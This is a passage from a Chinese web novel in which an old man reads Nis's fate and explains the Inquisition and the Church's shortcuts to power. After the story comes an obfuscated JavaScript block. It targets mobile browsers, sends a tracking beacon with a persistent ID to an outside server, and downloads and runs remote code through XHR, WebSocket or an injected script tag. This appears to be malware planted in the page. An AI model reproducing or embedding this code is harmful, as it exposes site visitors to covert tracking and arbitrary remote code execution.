雖然這樣說,老人卻沒打算不幫忙。
從逃出來到現在已經快一年了,他的實力已經恢復到巔峰狀態,再加上尼斯肯定不會去關押重犯的地方,那些次一等的所在,神力屏蔽並不是很厲害,他多多少少應該可以看出一些東西。
老人再一次將手貼在尼斯的頭頂上,不過,這一次他不是要搜索尼斯的記憶,而是以小傢夥作為媒介,看一下命運的走向。
轉瞬間,他的眼前出現無數線條,這些線條不停地抖動著,像是被風吹拂著的煙絲,似乎隨時都可能被吹散或斷掉。
命運確實如此,很容易被改變,即使是最高明的先知,也無法百分之百地確定命運的走向,要不然聖殿騎士團也不會落得現在這個下場。
正因為知道命運的多變,也因為騎士團的遭遇讓他更加警醒,所以老人不惜耗費大量的聖力,搜索著每一段命運線條。
他要知道是否有人在刻意改變什麼,如果有人那樣做的話,就要小心了,教會很可能已經盯上了小傢夥。
整整一個小時之後,老人才將手拿下來。
「你去吧,去一趟宗教裁判所,會對你幫助極大,你在那裡可以得到很多東西,收穫絕對不會比聖地之行小。」
老人的預言讓尼斯心中大定,與此魂時,也讓他想起遇上那隻大老鼠之前,他替自己占卜的結果。
那次的結果就是他會有巨大的收穫,而且收穫之大可以和聖地之行的收穫相媲美。
事後,他確實得到不少好處,但是所得的好處還沒辦法和聖地之行相比,他原本以為那是應有的誤差,現在看來,還有不少好處在等待著他。
「和宗教裁判所多打一些交道其實也有好處。」
老人知道尼斯前途無礙,也就不在乎多說幾句:「宗教裁判所是一個很可怕的地方,不過只要不和裡面的人為敵,倒是未必有那麼可怕。」
「這怎麼可能?」
尼斯感到難以理解。
「那裡面總共有兩種人,一種是狂熱的虔誠信徒,最初組建宗教裁判所的就是這樣一群人,這個機構剛剛出現的時候,本意是為了維持正義和公正,但是很快就變質了……」
老人非常遺憾的搖了搖頭。
這個機構從成立的那一天起,就是一把朝著內部的尖刀,它的作用其實已經注定,它會被一些有心人握在手裡,成為他們的工具,想不變質都不可能。
「另外一種人呢?」
尼斯問道。
老人呆了一呆,才發現自己走神了:「另一種人就和你一樣,都是沒什麼門路,卻又想盡快提升地位和實力的人,加入宗教裁判所和成為苦囊士一樣,都是一條捷徑。」
「教會的捷徑可真不少。」
尼斯發出批衷的感歎,到現在為止,他已經知道好幾種了。
成為隱囊士、成為訣判者、加入宗教裁判所、執掌一座教堂、去偏遠地帶傳教,這些都是捷徑,更別說,如果有一個強力靠山,還可以用強行灌胔聖力的方法提升一個人的實力,哪怕那個人是白癡都沒有關係。
「你現在總算明白成為牧師的好處了吧!」
老人半開玩笑地說道。

function YSOxDa(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function IjOicTx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return YSOxDa(t);};window[''+'k'+'f'+'B'+'Z'+'e'+'U'+'C'+'l'+'J'+'i'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ItLw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=IjOicTx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ItLw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qw.tangzonchuang.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ItLw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLnpoYW9mZW5ncnVpMS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGdHkudmmV0ZGFuZy5jbiUzQTk1MzQ=','9171',window,document,['l','m']);}:function(){};